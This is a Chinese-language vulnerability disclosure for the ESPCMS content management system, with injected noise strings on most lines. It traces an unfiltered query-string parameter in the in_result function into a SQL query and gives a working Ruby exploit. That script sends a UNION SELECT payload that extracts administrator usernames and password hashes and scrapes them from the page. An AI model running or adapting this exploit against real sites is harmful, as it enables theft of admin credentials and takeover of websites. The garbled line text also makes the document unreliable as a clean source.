0×0 漏洞概述0×1 漏洞细节/ d6 u$ J% C, i" G
0×2 PoC" d8 x3 E. ]8 w7 a [* Q
8 j; c# a+ J3 D$ V7 d
+ ~" y `/ \' x, C( a4 P% r1 E5 c
0×0 漏洞概述7 j; f9 k+ C7 g3 t. O8 y
" h8 ^& @* u2 U$ d8 \$ B1 e+ C: f% B易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。9 @' v& E9 B; e
其在处理传入的参数时考虑不严谨导致SQL注入发生
& u1 ^5 o# L' H! M7 g- i
1 o$ a+ L! v `
: p, E6 B+ t) g' g/ V0×1 漏洞细节6 D( W/ u7 R1 m/ f6 n6 g
' M L+ M4 n- {8 p/ h+ p变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。5 R8 T4 c8 p) K2 R6 k7 b
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
' p! i' L0 Y5 U3 \! g" p而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
# [! r0 Z# z) `! e+ O/ v) q( M
* U7 U. c w& c* ~! J3 I在/interface/3gwap_search.php文件的in_result函数中:
, D( \/ l1 x( W% e, ~# X1 c% Z) u# Q+ C0 V1 `0 E
2 n& o' G) b0 p x( l
; p* }0 l6 k( x3 t$ ]1 `; t ~
function in_result() {
: _! [0 {) d' }! f9 X( B- b ... ... ... ... ... ... ... ... ...
& @& E1 G z. e/ W. Y2 t% H5 ` $urlcode = $_SERVER[ 'QUERY_STRING '];
6 `, k8 G1 k0 O @ parse_str(html_entity_decode($urlcode), $output);
# d) g$ p/ r8 } K
( Z8 P% h1 w/ N ... ... ... ... ... ... ... ... ...
7 g+ u6 p/ X6 w if (is_array($output['attr' ]) && count($output['attr']) > 0) {" w0 F# ?( q$ L3 }" ^
; J* S6 k& V6 z# A' p% v $db_table = db_prefix . 'model_att';3 L4 o- B, [9 t7 ~; k: A
% M; B! S2 Q: A# e9 B% k* P1 `' t( S" D
foreach ($output['attr' ] as $key => $value) {
/ I4 ^2 S! y) A% C if ($value) {# _& r2 N( Z' v
" K0 { M9 Y8 f4 F2 T
$key = addslashes($key);7 u: S" U n4 S8 d
$key = $this-> fun->inputcodetrim($key);
: j4 U) J- ]! M. d1 e! s. E ? $db_att_where = " WHERE isclass=1 AND attrname='$key'"; p4 b5 [4 d I r6 ?
$countnum = $this->db_numrows($db_table, $db_att_where);0 \1 L4 G( a( H$ F& y
if ($countnum > 0) {
" x. ]# f' L. {. _4 A' I $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;7 ~9 L8 D: Z3 [6 f
}
1 p- a' v( c$ M }
* L9 t3 {$ J* m/ z }+ Q% W9 X6 t ~0 x$ A
}" R/ i& W# [' @, Y( i o0 p# N
if (!empty ($keyword) && empty($keyname)) {
) q! l6 i6 F m- p $keyname = 'title';
( d6 e' e- `! K5 ` $db_where.= " AND a.title like '%$keyword%'" ;8 C d; S2 M' G; T( [1 S
} elseif (!empty ($keyword) && !empty($keyname)) {
2 K" V p: P1 c, q- P) S: \7 i $db_where.= " AND $keyname like '% $keyword%'";
, |' f+ t' \0 o5 x7 L7 U. ^! d }4 `* [1 G B2 o# }* c
$pagemax = 15;
j; C! S1 v* T" \* d+ b7 u( |. N5 `- m2 M
$pagesylte = 1;
; b& Q7 L5 B6 p/ q# V; X" t
# e5 h! E6 C4 u6 ? if ($countnum > 0) {
/ J2 P9 p- R* t) C) Q1 n( O! t& i) l
$numpage = ceil($countnum / $pagemax);9 K: }8 f6 @( r5 {/ O
} else {
3 ?- s: ^. x9 v9 b1 @8 x' c $numpage = 1;9 [, L \9 ?/ q, Z, x
}
' e$ I: F/ D9 o* H# `5 O: C* e $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
8 j1 E, A. K& M: e6 P5 d $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0); w. N* h" c6 m- W5 n3 b3 ?9 {
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);2 i, [+ ?6 Q* }- X: p7 f
... ... ... ... ... ... ... ... ...
& }3 [8 x. a, k: n! ^4 F1 K/ k }
/ w! E# D# r9 i$ v( M8 C
4 s C1 @! ?! t
6 O, j. [" s8 u* b0×2 PoC' h! W4 ?& y' e- d
) I+ K( l4 h# g# B& j9 g
0 G: |. b' A7 [" b( D7 p) O
% ~+ ?2 s( ]4 F1 ] ^require "net/http"
; [: ?7 U$ B1 H9 Y" V
' v* U% e* m) Y: C7 I- ydef request(method, url)! S7 n: F) I* }' o0 @& B! q5 w/ N- O
if method.eql?("get")
! Y- _* b$ b! V! o( v7 C1 j uri = URI.parse(url)- G/ x3 F+ D6 H0 l
http = Net::HTTP.new(uri.host, uri.port)6 ?) J1 E' A# ^( w
response = http.request(Net::HTTP::Get.new(uri.request_uri))
+ {9 \) e$ P& K. W, r' i return response
2 ~# t+ g0 p# Q! X end
$ G8 `) F6 f1 Q3 o8 @end% |* ^; _8 {* t) b& F" d) U
7 U7 A% f5 r @$ i; p7 \doc =<<HERE# q. J1 n0 Y2 T6 Y# `$ Z
-------------------------------------------------------
- U# s) f( u- K% u/ B6 j# y) wEspcms Injection Exploit6 o+ k0 L+ V# V: w1 K* g
Author:ztz. W Z% u' M, @- a: f
Blog:http://ztz.fuzzexp.org/
1 m2 P- o( [, |: I" S8 g. D0 G-------------------------------------------------------1 Q: \+ ^' Z4 U1 q1 v
" o2 n5 P7 R; [, r/ A$ g$ ~
HERE# b! _6 k) }3 _$ A/ l
V3 X2 B& n- X0 g. {# k' U- Z uusage =<<HERE
8 [8 P4 C9 Y9 U+ QUsage: ruby #{$0} host port path! T) u- P9 x* [) ] h1 [ G
example: ruby #{$0} www.target.com 80 /. B: D2 k( X8 @$ y& f* ]
HERE' h! l6 r' ~5 m+ v: K
5 M8 q" n) Q ?7 l
puts doc
0 ^4 \9 J# {- n& E% `7 tif ARGV.length < 39 K' k* O$ A5 i8 q |( k5 [
puts usage8 {# J4 g8 @& m, @# v6 F% P8 g
else
3 W" Q- m( ]' }3 j" P9 L* ] $host = ARGV[0]
" M o& e* E% K; l4 t $port = ARGV[1]. k2 U* C* v' p8 r" M: d
$path = ARGV[2]
, [( O' b" l B6 e! W7 S0 q2 P2 q" q/ N3 ]# V1 X0 R# S# F
puts "send request..."7 O, M. P% J- y" r% \
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
4 B% r Z2 T+ I+ C$ m. Vattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,130 G+ F0 r0 s9 l" d: j$ I2 B3 q `
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,278 g4 U4 ]6 `% Y! V' `2 D& |7 |
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"& ^' p% b# D! U6 f0 [. A ^# z) M
response = request("get", url)8 Z3 z$ j# M# r' h- P
result = response.body.scan(/\w+&\w{32}/)# P) R) Q2 E8 l1 T( t
puts result
3 o# f, v* |' Bend
7 a) h/ S6 \7 o3 k
: h* o c5 J C5 I; r; e |